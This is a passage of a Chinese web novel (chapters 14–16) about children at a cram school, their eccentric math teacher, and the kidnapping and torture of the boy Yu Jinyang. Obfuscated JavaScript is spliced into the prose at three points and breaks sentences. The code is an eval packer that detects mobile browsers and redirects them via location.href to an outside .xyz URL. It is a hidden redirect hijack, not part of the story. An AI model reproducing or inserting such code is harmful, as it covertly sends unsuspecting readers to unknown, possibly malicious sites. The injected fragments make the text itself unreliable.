梁梅其实说不出任何挽留的话,因为俞人杰也给足了体面,称自己儿子是来这儿补课的,事实上他们夫妻俩未必不知道俞津杨来这儿大部分时间都是在帮另外几个补课。而且,听他语气,暂时两个字只是体面的托词,多半是不希望俞津杨来这儿浪费时间。 梁梅非常理解,她坦然承认,在这件事上她是自私的。她忽略了俞津杨的付出和时间成本,有这些时间,他自己一个人在家复习效率反而更好。 “……好。”梁梅脸色稍缓,第一次颇有些尴尬地点点头,“要不,你现在跟我上去,他们估计这会儿还在写卷子。” “梁老师,”俞人杰这才解释说,“您可能误会了,我和唐湘对您都没有意见,阿杨能在您这补习,我们一开始也非常高兴。您可能不知道,这两年他身边没什么朋友,阿杨从小脾气就好,在学校被人欺负也不跟我们讲,即使我生意做再好,手也伸不到学校里,这点您应该了解,在丰潭铜板再多的,也不如手里有红戳的。何况阿杨也非常介意我这个做爸爸的去学校插手他的事。所以这段时间因为您这个辅导班,他又和小画城的朋友们能重新聚在一起,我和唐湘其实很高兴。” 梁梅一愣,问道:“那为什么?” 俞人杰抬头扫了眼,目光精准地划过楼上梁梅那间亮着灯的窗子,一团暖黄色的光,莫名让他觉得很暖,像冷夜里的糖色,是独属于他儿子和他朋友们的玻璃罐子。 他正色道:“从小阿杨很少让我们操心,所以我很多事情都让他自己做决定。但这事儿是阿杨自己没处理好,他为了能继续来您这补课,最近在学校收到两封我生意上的恐吓信都没告诉我和唐湘,我们也是刚刚才知道,他妈今天吓得差点进医院。他这么不在乎我们的感受,我们也不能继续这么惯着他了。” 俞津杨跟他父亲走得格外干脆,干脆利落得让梁梅也察觉到一丝不对劲,直到扫到高典和郑妙嘉挤眉弄眼的神色,梁梅也瞬间心领神会了,小家伙们吵架了啊。 她问李映桥:“要不要追出去跟他再说两句?” 李映桥头也没抬,一言不发地盯着卷子,非常坚定地摇摇头。 梁梅也懒得劝,这个年纪就是蒜瓣大的事儿当榴莲处理,横竖都是又冲又呛。她屁股一坐下,准备监督余下三人写卷子,但还有些惊魂未定,手牢牢摁在天灵盖上,生怕自己的魂给吓飞出去。 话说回来,这个俞津杨胆子未免也太大了,这要出点什么事,她怎么跟他父母交代?明明看着最懂事的一个,干出来的事儿偏偏也最出格。 然而,人走不过五分钟,仿佛被抽走了根主心骨。除了还在生闷气那个,明目张胆地跑去阳台拎了只前两天刚捉的螳螂过来玩,其余两人都软趴趴地倒了下去,卷子写得心不在焉——咬笔头的咬笔头,抠指甲的抠指甲。 梁梅猛一拍桌子,把螳螂拍得飞起来又坠下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁梅倒是有些惊住,这进步果然神速,只是她冷笑一声:“很好,但考点不在这,别给我闲得写全称,写对了不加分,写错了你还要扣分。” “知道啦,”李映桥靠在椅子上,懒懒道,“你都讲两百遍了。” 梁梅:“一百五十遍是俞津杨跟你讲的,别算我头上。” 郑妙嘉放下笔,看着梁梅问:“那俞津杨以后还来吗?他不来的话,我们数学卷子谁讲呢?” “那个从深圳回来的,”梁梅抛了个眼神给高典,“来,表个态。” “我肯定不行啊,”高典急得直挠头,“我有些题会做但不会讲。” 郑妙嘉忙说:“我作证,好几次他给我讲题,我都没急眼,他自己反倒急眼了,莫名其妙狠狠给了自己一拳。我吓得都不敢问他了。” 俞津杨不急眼,还知道因材施教,李映桥对几何感兴趣,他就将很多题转化成几何的公式或者定理让她重新去理解,同一个题,只要他拆解过一遍,李映桥领悟力又快,一般第二遍就不会错了。 郑妙嘉和高典自然也不例外,他们抓耳挠腮的难题,在他讲完之后瞬间条理分明。俞津杨还给他们每个人都留了自己整理出来的错题集,全是针对他们的长短处,分别花时间找得一些历年中考数学的模拟和真题训练。 打印出来整整三本厚的作业本。 看得出来俞津杨是真希望他们能和他一起上潭中,而这其中的缘由,梁梅忍不住想到刚刚俞人杰说的——阿杨这两年没什么朋友。 梁梅翘着二郎腿问高典:“你们班数学有没有比俞津杨更好的?看看我能不能忽悠过来。” 高典想了想,如实回答说:“我们班确实还有个数学大神,数学这块上,除了喵喵就是他了。不过他不会讲也不会教,连解题步骤都是全省略的那种。我们抄他答案都抄不明白。喵喵虽然不是我们班数学最好的,但他绝对是最会教的。他知道怎么讲我们能听懂,在哪做辅助线最简洁明了,再刁钻的题他都能有条不紊给你拆解成最简单的公式来做。像喵喵这种有耐心的学霸,梁老师,没有发小感情维系着,不太好找的。” 梁梅叹了口气:“别说了,你们偶像正在挖洞准备钻进去了。” 刚蹲下抓乱窜螳螂的李映桥,直也不是,弯也不是:“……” 15.第十四章 车子拐过第三个红绿灯路口,俞人杰忽然叫停,吩咐司机说:“前面那家金店停一下,您下班吧,我和阿杨散步回去。” 这两年俞人杰大部分时间都在应酬、出差。俩人一天见面的时间都匆促,很少再有闲暇功夫和儿子一块散步。 俞人杰从金店买了整一套系列的黄金首饰出来,搂着俞津杨的后脑勺两人一块慢悠悠往家走,俩保镖在身后不远不近地跟着。金店的二楼正好是俞津杨平时练舞的舞蹈室,俞人杰低头看了眼又长高了点的儿子,“老爸很久没去看你跳舞了,听妈妈说,你最近在练一个超级帅的舞。” 俞津杨斜瞥他一眼,“爸,你有话就直说。” 俞人杰拎着那袋子首饰,因为包装壳太显眼,生怕别人不知道这是黄金首饰,他没要包装壳,让对方给了黑色塑料袋。 俞人杰像刚从菜场买了条鱼回来,和他并肩走着,另只手在儿子的后颈上摩挲着,难得语重心长道:“行,那你跟爸爸说说,你是怎么想的?收到恐吓信的事,为什么要瞒着我跟妈妈,我记得我跟你强调过这种事,就算你在上课也要立即让老师通知我跟妈妈。你很喜欢跟李映桥他们玩吗?如果是这样,你也应该先告诉我们,我们可以一起想办法,再不济把他们接到我们家里来补习,还是在你眼里,爸爸和妈妈就这么不讲道理,不会在乎你的感受,强行把你和你的朋友们分开?” “不是,”俞津杨肩膀一垮,像是连日来撑着的劲儿在此刻终于泄了下去,仰头望着沉甸甸的夜色和四周鳞次栉比的广告牌,叹了口气说,“我本来就打算这次补完之后再也不去了,马上就要中考了,我也不想再分心。” 俞人杰啧了声,挑眉意外道:“我还以为你很喜欢和他们玩呢?” “说不上多喜欢。” 天天被人打后脑勺,怎么会喜欢,又不是受虐狂。 “小糕点不挺好玩的吗?那么一个大高个,胆子贼小,那天我让他上车送他回家,他蹿得比鸡都快,跟地上撒了米似的,他一路啄啄啄就飞出去了,跟见了鬼一样。” 想到那个画面,俞人杰又哈哈大笑出声,“他跑起来我都看见他的鸡翅膀了——” “高典不坐黑车。” 俞人杰笑容瞬间僵在嘴角,猛然想起件事来,这小朋友小时候被人贩子绑架过。 “………………” 路灯昏黄,照着这条老城区中心的商业街。这几年新城区飞速发展,高楼拔地而起,网咖、健身馆、电影院的霓虹彻夜亮着,勾得年轻人全往新城区跑。老城区这边门可罗雀,除了金店、理发店照常还有老客光顾之外,其他门店也都扛着招牌往新城区挤。 即使刚吃完晚饭这个点,整条街也没几个人,盲道上却横七竖八停不少自行车和电动车。俞人杰从前每次应酬完从国营饭店往家走,有空闲就把盲道上的车一辆辆自己清出去,没空闲就一路骂骂咧咧过去。 今天儿子在,他自然指挥儿子干。 他斜倚在其中一根路灯杆上,看那年纪轻轻却任劳任怨的清俊背影,少年的骨骼在路灯光束里,早已挣脱青涩的骨架,像刚出炉的青瓷胚子,似乎还透着没烧透的水汽,釉色未全定,足见明朗鲜亮的成色。 新雪总是胜寒梅,谁还不曾是个高贵冷艳的少年了呢。 俞人杰感叹他儿子终于悄悄长大了,像个男人了。于是一副打破砂锅问到底的架势,抱着胳膊继续骚扰他儿子:“那郑妙嘉呢,郑妙嘉坐不坐黑色的迈巴赫?” 俞津杨刚清完半条街的自行车,八风不动地一台台挪过去,眼风斜斜又扫他爹,还是满足老父亲的好奇心同他讲:“不知道,不过她很会画画,她语文书上的李白和杜甫都穿球鞋的。” “……” “牛逼,”俞人杰赞道,紧跟着笑容格外慈祥且意味深长,“儿子,你看,你这不是记得挺清楚的。还说不想和他们做朋友,糊弄谁呢。” “没说不想和他们做朋友,说的是李映桥,”俞津杨肩胛往上一顶,后脊背像一张紧绷蓄势的弓弦,看着他爹的眼神里有一种图穷匕见的无奈,边挪车边蹙眉道,“她太烦了。” 俞人杰拖长音调地“啊”了声,拖了很久,拖到他儿子彻底清完这条盲道,贱兮兮地逗他说:“和那小鬼吵架了。” “……” “又绝交咯。” “……” “我儿子真矫情。” “……” “都怪你,害我大出血,你妈今晚肯定睡不好,我还要买点黄金给她压压惊。” “……” “从你今年压岁钱里扣。” “……不行。大不了长大后我赚钱了再还你,今年压岁钱我有用。”俞津杨拉长肩带,一书包甩他老爹背上,以示抗议。 “你能有什么用,泡妞啊?” “你有病,反正就是有用。” 俞人杰这才后知后觉地掂了掂他儿子的书包,目光瞥见俞津杨的肩胛上泛着被书包带勒出来的红印:“你爷爷的,你书包里几斤啊,怎么这么重,长大了就是硬气啊,背这么重的书包刚刚怎么不说,挪车的时候倒是吱一声啊,求求你爹怎么了——” “吱吱吱吱吱——”俞津杨快步走到前头,不想被他爹烦。 “嘿,我养了只蝉。”俞人杰在后头说。 “蝉是这么叫的,唧——吱——唧——吱——” “跟哪儿学的。” “李映桥前两天刚在树上捉了只,梁老师把她屁股打开花了。”俞津杨一手勾着书包肩带,一手闲闲地插在裤兜里,倒退着和他爹讲,讲着讲着就笑出声了,笑得被书包肩带深深陷进肩膀里的T恤领口,都松松垮垮地滑落半边。 “出息。” *** 最近几天三个人的补习班显得空落落,也安静得出奇,连阳台上的屎壳郎在卷粪球都能听见“咔吱咔吱”的声响。 “奇怪,喵喵平时话也不多呀,怎么感觉少了他,就安静那么多。”高典说了句,见没得到回应,又自顾自把语文卷子折成张纸飞机,轻轻往空中一抛,划出一道漂亮而圆润的弧线,结果精准无误地从梁梅脑袋上划过。 梁梅刚把新找的数学老师领进门,飞机头不偏不倚地直接扎他脑门上。 “高典!”梁梅一声暴喝。 高典忙连滚带爬地冲过去,摸着对方的脑袋:“对不起啊,对不起,太对不起了——” 等对方的脸一抬起来,高典顿时瞠目结舌,“你你你……靠!你!是那个!” 正在给白居易画肌肉的郑妙嘉瞬间也呆住了,“啪”一声,橡皮擦直接掉在桌上,骨碌碌滚到李映桥那边,这才惊动了最近被某人刺激后,发誓要好好学数学的李映桥,从手上这张已经死磕好几天的数学卷子里抬起头,茫茫然朝门口瞧过去,也愣住了。 这这这这——这不是小画城疯子港那个疯子吗? 梁梅没说多余的,和他们讲不明白,也只言简意赅介绍道:“他叫朱小亮,你们叫他朱老师就行,原先是你们实验中学的数学老师。” 鸦雀无声。 没人敢质疑,这样一个数学老师,他说圆周率等于番茄炒土豆,这仨也只敢问要不要加点葱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508210|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花。 朱小亮真的还是个数学老师,但李映桥每次听他讲课,脑子里都浮现出他在小巷里翻垃圾的样子,最后她实在忍不住爆棚的好奇心,托着下巴问他:“朱老师,金鱼真的可以生吃吗?跟三文鱼味道一样吗?” 换来的就是梁梅一后脑勺的巴掌。 李映桥叹了口气,只好讲眼神重新放回卷子里,嘀咕了句:“好奇嘛。” 但朱小亮很会讲课,他讲得比高典班里的数学老师还生动有趣。比如梁梅给饿狼般的他们点了一块披萨,朱小亮会咧嘴一笑,顶着一张人畜无害的笑容,慢条斯理地把披萨切了两刀后,取出其中最不规则、最难算面积的一块——分别让高典和郑妙嘉咬一口,李映桥则负责算剩下的披萨面积,但如果有人咬太大口导致面积小于他规定的比例,李映桥即使算出来也吃不到披萨,以此类推,三人轮流替换角色。 就这么个披萨游戏,短短不到一周时间,三人已经窥视到了人性的幽微,逐渐走向土崩瓦解,每次一到吃披萨环节,那就跟五百只鸭子全开麦,叽叽喳喳吵得不可开交。 李映桥咬牙切齿:“高典,咱俩也绝交。你居然敢跟我说,面积为零……” 说完她转头看郑妙嘉,示意她也表个态,郑妙嘉一言不发,专心致志画饼充饥。李映桥仰天长叹,看来人还是得有一门手艺。 至此,他们终于知道这个老师为什么被开除了。朱小亮真是个数学疯子,他能在生活中的任何常见物体中看出数学那些抽象的公式和定理—— 比如高典有一阵迷恋科比,会把纸巾揉成团,一个后仰跳投,用非常不标准的投篮姿势把纸巾沿着一道完美的抛物线给扔进垃圾桶里,朱小亮下一秒就让他算出这道抛物线的方程,不然就让李映桥把他脑袋塞垃圾桶里。 李映桥一秒都等不了:“3——好,朱老师,他答不出来,受死吧!” 高典:“……” 朱小亮懒得理他俩,转头又让郑妙嘉用勾股定理算过wifi信号的强度。 郑妙嘉:“……” 至于李映桥,在朱小亮的变态集训下,她已经能用斐波那契数列和她刚绝交的竹马同志打招呼了。 不得不说,在朱小亮这一顿鸡飞狗跳、丧心病狂的操作下,三人的数学成绩有了显著提升,比最后一次摸底考足足提升了三十分的平均分。 *** 距离中考还有一周的时候,李映桥憋不住了,她跟李姝莉要了手机。 李姝莉现在很少出去开货车,白天在农贸市场卖点粮油米面,周末去美容院帮工打扫一下卫生,前两天刚被老板娘看中问她愿不愿意学点按摩做脸的手法,赚得肯定比保洁多。所以李姝莉现在脸上贴着一张美容院线的面膜,正在琢磨这么薄薄一张纸怎么就要卖到二十块钱一张,想也没想就把手机递给李映桥。 李映桥转身回房间,从妈妈通讯录里翻出妙嘉的号码,等她把俞津杨的号码发过来,立马就拨了个电话过去。 ……没接。 ……五秒后,她又拨了个电话过去,还是没接。 她想起来妙嘉说俞津杨好像不接陌生号码的电话,给他拽的,于是李映桥冷哼一声,手指在屏幕上噼里啪啦就是一顿短信轰炸—— 第一条空白。 “喵” “我” “我啊” “李映桥” “我是李映桥” “你干什么不接电话” “我的柯南你到底什么时候给我” “牛不牛我在用斐波那契数列和你说话别不知好歹” 16.第十五章 …… 然而,半小时过去,李映桥也没始终没收到俞津杨的任何回复。 于是她得出结论:俞津杨要么是被绑架了,要么就是被抓去坐牢了。 不然,给他一百个胆子他也不敢不回她消息。 从前他们几个在小画城,在李映桥的带领下,一帮人就经常一起爬树掏鸟窝、下田捉小龙虾。俞喵喵就特矫情,这嫌脏那嫌有蚂蝗,李映桥不吃他这套,他不去就不带他。 结果他发现自己被李映桥抛下后又开始生闷气,李映桥也不太惯着他,自己带着高典和妙嘉吭哧吭哧捉一筐龙虾回小画城,故意拿了个炭炉就坐在川明街的街口露天烧烤。 俞津杨为这事儿气得好几次说要跟她绝交,也没成功,自己生几天闷气又找台阶下了,一般也就善良的小糕点会搭理他,主动给他递个台阶过去,哄哄他。 李映桥很少主动,但这次为了柯南系列这套书她破天荒求和,俞喵喵竟然还真摆上他的少爷谱了,惯得他。 三下五除二,李映桥把短信记录和通话记录全都删干净,将手机还给李姝莉。 整整一周,在梁梅的耳提面命和朱小亮的疯子题海模式下,几个小孩都被折磨得形销骨立。两只眼睛里飘着的都是数学公式,看见被人咬了几口的披萨就开始算面积,看见有人打羽毛球就忍不住开始算抛物线方程,看见一长串数字就开始想有没有可能是个数列陷阱。 1,3,5,9,11,15,17,2…… 李映桥盯着郑妙嘉卷子上的错题,咬着笔头皱了皱眉,眉头越皱越紧:“妙嘉,这个数列是不是没抄完整?” 郑妙嘉刚得闲,又在语文书上全神贯注地描白居易的肌肉,经过她一周的潜心创作,这位诗魔的肱二头肌膨胀得栩栩如生,仿若下一秒要从书里钻出来,一拳把朱小亮给攮进墙里。 她慢悠悠转过头:“这我姥电话啊,你在算什么。” “……” 只有朱小亮倍觉欣慰,维持着彬彬有礼微笑,推了推眼镜,一副颇有为师当年风范的语气同她道:“李映桥,你有点天赋,继续努力。” 纵然一向自信的李映桥,也第一次被人夸天赋夸得怀疑人生,干笑两声:“谢谢。” “不客气,最难的数学永远不在卷子上,你们能搞懂生活中的数学,卷子上的数学就只是一只纸老虎。” 朱小亮有时候单纯得就像一张白纸,他的世界里只有数学,或许李映桥他们永远也不会知道,梁梅起初找到他的时候,和朱小亮忽悠说的是——这帮小孩非常热爱数学,每天为数学哐哐撞大墙,但奈何没有一个好老师。 朱小亮那时候还住在疯子港,听完后二话不说拾起包袱就来了,但经过这么个把月的相处,朱小亮未必看不出他们根本不爱数学,只是为了考潭中,为了改变命运而已。 朱小亮也没有和梁梅说破,梁梅当时生怕他知道真相就会弃这群孩子不顾。后来梁梅问他为什么,朱小亮说其实他一进门那个纸飞机砸自己脑门上的时候,就知道这群孩子根本不爱数学。 所以他故意设计了披萨游戏,看他们鸡飞狗跳、鹬蚌相争、大打出手、互相报复。 数学最吊诡的地方就在于,看似最死板公平的定理,只要你稍稍动点脑筋,就能轻易挑起人性里最幽微和脆弱的部分。 毕竟人总是不患寡而患不均的。 用数学解构人性是朱小亮这一辈子遭到的报应,就像他还没来得及教他们的鸽巢原理,资源有限性爆发的矛盾和冲突才是这个世界永久的命题。 至于他为什么选择留下来,大概就是披萨游戏玩到最后,这三个小孩心照不宣——哪怕有人那天输得很彻底,一口披萨都没吃着,饿得两眼冒绿光,也绝不会去动最后一块披萨,而是问他:“朱老师,你怎么还不吃。” 这在他过往的教学里很少见,他热衷于用数学来挑战人性,在人性上,这几个孩子赢得很漂亮,让他有些不太值钱的惊喜,但在数学上,他们输得很彻底。 但凡有点数学天分的,披萨游戏其实很容易就破解,他教过的数学天才里,不会给他留披萨,只会让自己尽快脱离天天吃披萨的困境。 他们会在规则限定范围内计算出最小的有效面积,然后让其他两人咬下最大一口面积的披萨,这样三个人轮流都能吃到最大面积的披萨。这三,连这么简单的方法都想不出来,天天吃披萨吃得不亦乐乎,自己没吃着,还惦记着老师吃没吃披萨。 朱小亮感动之余也只能假装拿掉眼镜,抹抹眼睛说:“好孩子们。” 好蠢的孩子们。 …… 临近中考,李映桥的决心和斗志倒是空前高涨,她宛如用手铐把自己牢牢铐在书桌上,将卷子上一错再错的那些劳改题变着花样抽骨扒筋、严刑拷打,直到它们不敢在她的卷子上再造次为止。 决战前夕,李映桥“哗啦”抖开她最近一张答得还算满意的数学卷子。白炽灯下,她双手高举着试卷,满意又响亮地用食指重重掸了下,力透纸背,毫无意外,试卷破了。 卷面上,透着光的“俞津杨!你给我等着!”八个字露出面目狰狞的窟窿洞。 *** …… 俞津杨有三天没回家,俞人杰和唐湘近乎三天三夜没合眼,自从收到那封恐吓信后,俞人杰和唐湘就一直派保镖跟着他,无论他去哪儿,而且马上要中考,最近舞蹈室也没再让他去。 那天晚上父子俩沿路散步回家后,第二天俞津杨照常去上课,放学后就没再回来。 那阵他们家风声鹤唳,唐湘精神也高度紧张,一般下了晚自习,俞津杨十点前就会出现在家里。但那天到了十点半,大门还没有要进人的迹象,唐湘立马给俞人杰打了电话,两人当晚就报了警。 然而,三天过去,杳无音信。唐湘几度心悸昏厥过去,这会儿正在急诊吸氧,头发蓬乱得活像个被老鹰攻击过的鸟巢,不光蛋没了,老巢还被人撅了。 整个人形销骨立地躺在急诊的病床上,血管插插拔拔无数次,床单都洇满她的血渍换了好几趟。因为她神经绷得紧,一旦走廊传来细微的脚步声,她立马拔掉针管从床上弹坐起来,做好随时去接儿子的准备。无论谁来,张嘴就是声音嘶哑地问:“……津杨是不是有消息了?” 得到否认的答案她又躺回去,浑然不觉这针管插拔的疼痛,眼神空洞地盯着天花板。 俞人杰也三天没睡,身上还是那天接儿子回家穿的衬衫,皱皱巴巴都看不出个型来,嗓子眼也跟烧了块红炭火似的,吞不下去,吐不出来,却不遗余力地灼烧着他。 俞人杰恨不得立马让自己和儿子的处境对调,眼球里的红血丝都快能炒盘冬虫夏草了,也只能坐在病床边心平气和地安抚濒临崩溃边缘的唐湘说:“别急,先别急……津杨如果真被绑架了,对方一定是要钱,多少钱我们都有,多少钱我都会让津杨平安回来,相信我,好吗?” 他从没见过唐湘这一面,唐湘性格很爽快大咧,向来信奉儿孙自有儿孙福,家里的长辈还批评说唐湘是个心大能让大象翻身的女人,对儿子也是散养居多,看起来好像不怎么爱他们家津杨。 俞人杰是知道的,唐湘的父母是非常传统的中式家庭,中式父母就像旧时代的保温杯,不管心里多热,到嘴边的话都是凉飕飕的。 所以唐湘在对于表达“爱”这件事上,她是有羞耻感的,不管是爱他还是爱儿子。这是唯一一次,唐湘露出属于母亲的柔软。 *** “桥桥,你吃了吗?” 李姝莉刚从美容院回来,最近跟着师傅学手艺,下班都很晚,回到家就看到女儿就胡乱扎了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525353|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个松松垮垮的丸子头,正伏在桌案前写卷子写得沙沙作响。 “吃啦!”李映桥直起背,往身后的椅背上一靠,把昨天考完的卷子翻过一面,如同阅兵一般视线在卷子上细细梭巡着,一边用吸管喝着奶,一边同李姝莉又喊了句,“对了,妈妈,我明天晚上就搬去梁老师那边,我和妙嘉的考场都在三中,刚好就在梁老师家对面,梁老师让我们考试那几天住她那里,免得来回跑浪费时间。” “行,”李姝莉随手将包扔在玄关处,径直走向厨房检查冰箱里的饭,确定她吃过了,这才转身走进她的卧室,替她挽好耷拉在脑袋上的发髻,“怎么样,桥桥,有把握吗?” “看!” 李映桥放下酸奶,献宝似的把试卷撑开,举到她面前:“厉害吧?” 李姝莉正在帮她扎头发,抬头扫一眼,由衷地感叹道:“厉害厉害。三位数,比妈妈的体重还多一位。” 李姝莉这个年纪倒不是刻意保持体重,她早年双相障碍,暴饮暴食导致肠胃出了问题,吃什么拉什么,也可以说是焦虑引起的肠胃紊乱,后来给累瘦的。 李映桥嘿嘿一笑,又忍不住开始得意,用小拇指打了个比方说:“……虽然距离潭中还差那么一小截,但是我们数学朱老师,他说我社科好,可以弥补一小段分数,同时,中考的数学卷子难易题的比例是七比二比一。” 她又变了个手势,快速比了三个数字,把没上过学的李姝莉哄得一愣一愣的,眼神直勾勾地盯着女儿,听她滔滔不绝地科普:“朱老师说啊,七成都是基础分,两成是难度题,剩下一成他让我们别浪费时间了,那是用来筛选数学天才的。他说我现在基础分完全都没问题,那两成发挥好的话,能答对三分之二,潭中就稳咯。” 李姝莉听她说得头头是道,若有所思地频频点头,让她别太累,注意休息。 李映桥迫不及待要复习,推她出去:“好啦,不说了,我要复习了。” 夜色已深,唯有几家有要中高考的学生窗子里亮着彻夜奋战的灯火。日以继夜也好,临阵磨枪也罢,不管有用的没用的,先砰砰砰往自己的枪里上子弹,能干死一个是一个。 李姝莉再次感叹时代的不同,一代人有一代人的苦。从前是吃不饱的肚子,如今是光吃墨水就能饱的肚子,谁更苦?她不知道,她只知道桥桥很努力,她当然也不能拖后腿。 李姝莉刚转身要出去,忽然像是想起什么,她从裤兜里掏出手机给她递过去:“对了,桥桥,我这几天忙得都没时间看手机,今天提示手机内存满了,删垃圾短信的时候看到一条信息,奇奇怪怪的,这是不是你的朋友?” 李姝莉原本想给她买个手机,李映桥自己说考试前不想分心,等考完试再买。所以她手机里都是妙嘉、小糕点这种小朋友的号码,偶尔妙嘉还会给她发消息说李阿姨我想吃立夏饭,李姝莉才知道,梁梅这货把她女儿骗走,却不会做饭。 “你们最近在梁老师家都吃什么,不会还玩那个披萨游戏吧?”她问了句。 “玩啊,多好玩啊。”李映桥看着手机心不在焉地说,“每次看朱老师嫌弃的表情最好玩,他说只要我们想出最优解就换个别的游戏,新游戏肯定更折磨人,我们又不傻,朱老师好单纯的,我们说什么他都信。他心智上感觉比高典还想个初中生,姝莉啊,你说搞学问的人都这样吗?” “姝莉不懂啊,姝莉这辈子搞不上学问,你自己慢慢研究吧。” 李姝莉毫无负担地把手机给她,转身悄无声息地离开。 李映桥这才将注意力转回到手机上,是俞津杨的号码没错,不过信息还是两三天之前回的。 这小子终于知道回她信息了,哼哼,李映桥眯着眼睛,定睛一看:咦?这发的啥? ——“3364” ——“626” 17.第十六章(二更合一) “我刚问我那正在上高中的侄子了,他说数字六就是溜的意思,如果打游戏夸一个人很厉害,就用六六六,现在很流行的。” 四十平米不到的屋内乌烟瘴气,一个花臂男瘫坐在掉皮的沙发上,将刚抽完的烟屁股往地上一碾,抬起小青龙胳膊在烟雾弥漫的空气中挥两下,然后同隔壁穿着件黑夹克的平头男说:“他说他女朋友的小名叫鳝鳝,黄鳝的鳝。这句话的意思就是,六啊六,鳝鳝六死了,就夸她数学很棒的意思。” 平头男一只袖管空荡荡,正在用牙齿咬开一瓶啤酒,闻言转过头,空空如也的皮夹克袖口晃了晃,将信将疑说:“最好是,反正等涛哥回来,你自己跟他说这事儿,谁知道这小子耍什么花招。” “一个初中生能耍什么花招,再说,就这么几个数字你能看出来什么?”花臂男嗤笑一声,又点了支烟,好不容易散开的烟雾又重新笼罩起来。他叼着烟,说话也不拿下来,烟头跟着一上一下,一把搂过平头男的肩膀,不当回事地说,“你不是自诩上学时数学都是班里数一数二的吗?一个初中生你怕个毛?” “小心使得万年船。” 花臂男不太耐烦:“你少给我讲这些!不然老子能怎么办,他说他女朋友比他爸难搞,联系不上他肯定直接报警,他爸说不定还能顾及一下他的人身安全选择不报警,但他那个小女朋友可不会管他死不死的,绑架了无所谓,主要怕他在外面勾搭别的女孩子,我才答应给他机会让他表表忠心,至少别节外生枝。” “你又怎么知道俞人杰没报警?涛哥这么久没回来,说不定就是被警察抓走了。” “你盼点你哥好吧,”花臂男深深吸了口烟,火星子都要蹿到嘴边,只听他不屑一顾道,“主顾那边也说了,大不了就撕票。这小子要是真敢耍花样,直接做掉他就行了。再说消息发出去这么多天,都没动静,说明人根本也不想理他了。而且,我那数学贼好的侄子也说了,这两组数字看不出什么猫腻。说明这小子真也就没什么花样。” “真的假的?”平头男疑惑,“你们家还有读书好的?考几分啊?” “七八十吧。” “……高中数学满分一百五,七八十连及格都差一截。” “是吗?” 平头男没再吭声,心头仍有疑虑,仰脖灌了口酒,又掏出手机查了下这几个数字的经纬度,发现相差十万八千里,又用九宫格输入法打了一遍,发现也是云里雾里。 “是不是?”花臂男这次把烟扔进没吃完的泡面盒子里,滋啦一声响,“俞人杰那蠢货能生出什么聪明蛋啊,这不妥妥随他爹是个恋爱脑吗?” “行了行了,你不搭理他就没这破事,你非要搭理他干什么。我管他们父子俩是不是恋爱脑,倒是你——你不会还想着我姐吧,我告诉你,你俩不可能。” “笑死老子,想也犯法?犯法的事儿老子干少了?”他猛地淬了口唾沫,“再说,你这么阻拦我和你姐,你自己又是个什么货色?绑架你是第一次参与还是赃款你没分?老子早几年进去哪次没把钱留给你姐?” 说着,花臂一把抄起茶几上的机械胳膊,用平头男的手指猛戳平头男本人:“当初花老子卖命钱给你装假肢的时候,没见你不同意我俩在一起,现在跟我装人五人六的,你姐现在是飞上枝头变凤凰,跟老子睡过她嫌脏了——” “砰!” 平头男一脚将面前茶几混着泡面的汤汤水水踹了个四脚朝天,两人瞬间跟绞肉机似的在沙发上胡乱扭打成一团。 “滚你爹的!你特么再拿我姐说事儿,我直接送你进去吃枪子儿。” …… 俞津杨被捆在椅子上已经整整两天,对方怕他借着上厕所耍花招,两天硬是一口水没给喝。 此刻他胃里像只被人一脚踩瘪的易拉罐,隐隐作痛。喉咙更是像块失去黏性的苍蝇板,干涩又泛着尸体横陈的血腥气。 他觉得自己内脏已经开始烂掉了,当然表皮也好不到哪儿去,虽然他看不见,用脚趾头也能想到这会儿他去演个丧尸导演都怕家长投诉的程度。因为他不太安分,没少挣扎,粗粝的麻绳在他身上磨出无数道血痕,浑身上下应该没剩几块好皮,除了几根手指还能动弹,冲这群恶棍竖个中指还是没什么问题的。 当然他是不屑干这么没品的事儿。 俞津杨现在最担心还是自己的眼睛。被捉来第一天,对方生怕他看出蛛丝马迹,刚被人用黑布罩上车,就有人往他眼睛里喷辣椒水,眼皮当即被呛穿,火辣辣地抽着疼,烫到极致他已经分不清冷热,眼睛彻底失去作用,好像变成俩漏风的窟窿眼,疼得他连气都来不及喘匀。 下一秒就被人用布料死死蒙住眼睛,热气完全散不出去,全捂在里面灼烧着他的眼球,即使这样,他也忍着没吭声,只是没多久就疼晕过去了。再醒来已经被人五花大绑拷在椅子上。 看不见的世界是可怕的,他觉得自己的视网膜应该已经脱落了,最可怕的是,小命儿都不保了,他竟然还想着中考。就算这会儿被救出去,他马上去学盲文,也赶不及考了。咦?盲生有考场吗? 不过这几天,他靠着耳朵弄清楚了他们这次绑架的规模,三个男的,一个穿夹克的,有一只手臂是残疾,皮夹克咔吱咔吱的摩擦声在这个季节很引人注意,手臂是因为同伙时常把他机械臂拿下来挠痒,两人隔三差五要因为这个事儿打架。另外俩男的,一个叫涛哥,是夹克男的哥哥,还有一个就是帮他发信息的,脑子稍微笨点,他是最好忽悠的一个。 